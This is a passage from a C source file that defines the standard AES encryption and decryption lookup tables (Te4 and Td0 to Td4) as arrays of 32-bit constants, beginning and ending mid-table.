0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
};
const u32 Te4[256] = {
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
};
#endif /* AES_SMALL_TABLES */
const u32 Td0[256] = {
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
};
#ifndef AES_SMALL_TABLES
const u32 Td1[256] = {
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U,
0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U,
0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U,
0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U,
0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U,
0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U,
0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU,
0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU,
0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U,
0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU,
0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U,
0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU,
0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU,
0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U,
0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU,
0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U,
0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U,
0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U,
0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U,
0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U,
0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U,
0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U,
0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU,
0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U,
0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U,
0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU,
0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U,
0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U,
0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U,
0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U,
};
const u32 Td2[256] = {
0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U,
0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U,
0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U,
0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U,
0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU,
0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U,
0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U,
0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U,
0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U,
0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU,
0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U,
0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U,
0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU,
0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U,
0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U,
0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U,
0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U,
0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U,
0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U,
0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU,
0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U,
0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U,
0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U,
0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U,
0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U,
0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU,
0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU,
0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U,
0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU,
0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U,
0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU,
0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU,
0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU,
0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU,
0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U,
0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U,
0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U,
0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U,
0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U,
0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U,
0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U,
0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU,
0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU,
0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U,
0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U,
0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU,
0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU,
0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U,
0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U,
0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U,
0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U,
0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U,
0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U,
0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U,
0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU,
0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U,
0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U,
0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U,
0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U,
0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U,
0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U,
0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU,
0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U,
0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U,
};
const u32 Td3[256] = {
0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU,
0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU,
0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U,
0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U,
0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU,
0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU,
0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U,
0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU,
0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U,
0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU,
0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U,
0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U,
0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U,
0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U,
0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U,
0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU,
0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU,
0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U,
0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U,
0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU,
0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU,
0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U,
0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U,
0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U,
0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U,
0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU,
0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U,
0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U,
0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU,
0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU,
0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U,
0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U,
0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U,
0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU,
0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U,
0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U,
0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U,
0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U,
0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U,
0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U,
0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U,
0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU,
0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U,
0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U,
0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU,
0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU,
0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U,
0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU,
0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U,
0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U,
0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U,
0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U,
0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U,
0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U,
0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU,
0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU,
0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU,
0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU,
0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U,
0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U,
0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U,
0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
};
const u32 Td4[256] = {
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
